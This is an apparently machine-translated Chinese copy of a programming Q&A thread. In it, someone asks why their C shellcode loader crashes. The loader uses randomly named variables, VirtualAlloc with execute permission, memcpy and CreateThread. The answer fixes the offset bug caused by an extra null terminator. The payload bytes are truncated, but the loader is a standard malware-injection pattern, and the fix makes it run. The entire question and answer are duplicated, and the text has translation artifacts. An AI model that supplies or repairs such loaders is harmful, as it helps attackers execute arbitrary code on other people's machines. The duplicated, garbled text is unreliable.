在 C 中的内存中加载长 shellcode
Loading long shellcode in memory in C
我希望我的 shellcode 在 x86 arch 中为 运行,但是 C 中的 char 数组有 ~16k 的限制,而我的 shellcode 更长。我打破了 2 个阵列上的字符串并开始如下:
char n1qwgimnb8i[] = "\x75\x6d\xf2\x34...";
char n1qwgimnb8i1[] = "\x74\xdf\x39\x37...";
void *zx1rwsnvf4l = VirtualAlloc(0, sizeof n1qwgimnb8i + sizeof n1qwgimnb8i1, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(zx1rwsnvf4l, n1qwgimnb8i, sizeof n1qwgimnb8i);
memcpy((char *)zx1rwsnvf4l + sizeof n1qwgimnb8i, n1qwgimnb8i1, sizeof n1qwgimnb8i1);
CreateThread(NULL, 0, zx1rwsnvf4l, NULL, 0, NULL);
我用 cl 编译没有错误,但是当我启动最终的 .exe 时它崩溃了。我做错了什么?
String-style char
数组的初始化 like
char hoge[] = "foo";
自动在数据末尾添加终止符null-character,此示例等同于
char hoge[] = {'f', 'o', 'o', '[=11=]'};
因此,两个数组之间会插入一个额外的0x00
字节,这可能会造成麻烦。
行
memcpy((char *)zx1rwsnvf4l + sizeof n1qwgimnb8i, n1qwgimnb8i1, sizeof n1qwgimnb8i1);
应该是
memcpy((char *)zx1rwsnvf4l + sizeof n1qwgimnb8i - 1, n1qwgimnb8i1, sizeof n1qwgimnb8i1);
(应添加- 1
以使副本从原始数据之后立即开始而不终止 null-character)
我希望我的 shellcode 在 x86 arch 中为 运行,但是 C 中的 char 数组有 ~16k 的限制,而我的 shellcode 更长。我打破了 2 个阵列上的字符串并开始如下:
char n1qwgimnb8i[] = "\x75\x6d\xf2\x34...";
char n1qwgimnb8i1[] = "\x74\xdf\x39\x37...";
void *zx1rwsnvf4l = VirtualAlloc(0, sizeof n1qwgimnb8i + sizeof n1qwgimnb8i1, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(zx1rwsnvf4l, n1qwgimnb8i, sizeof n1qwgimnb8i);
memcpy((char *)zx1rwsnvf4l + sizeof n1qwgimnb8i, n1qwgimnb8i1, sizeof n1qwgimnb8i1);
CreateThread(NULL, 0, zx1rwsnvf4l, NULL, 0, NULL);
我用 cl 编译没有错误,但是当我启动最终的 .exe 时它崩溃了。我做错了什么?
String-style char
数组的初始化 like
char hoge[] = "foo";
自动在数据末尾添加终止符null-character,此示例等同于
char hoge[] = {'f', 'o', 'o', '[=11=]'};
因此,两个数组之间会插入一个额外的0x00
字节,这可能会造成麻烦。
行
memcpy((char *)zx1rwsnvf4l + sizeof n1qwgimnb8i, n1qwgimnb8i1, sizeof n1qwgimnb8i1);
应该是
memcpy((char *)zx1rwsnvf4l + sizeof n1qwgimnb8i - 1, n1qwgimnb8i1, sizeof n1qwgimnb8i1);
(应添加- 1
以使副本从原始数据之后立即开始而不终止 null-character)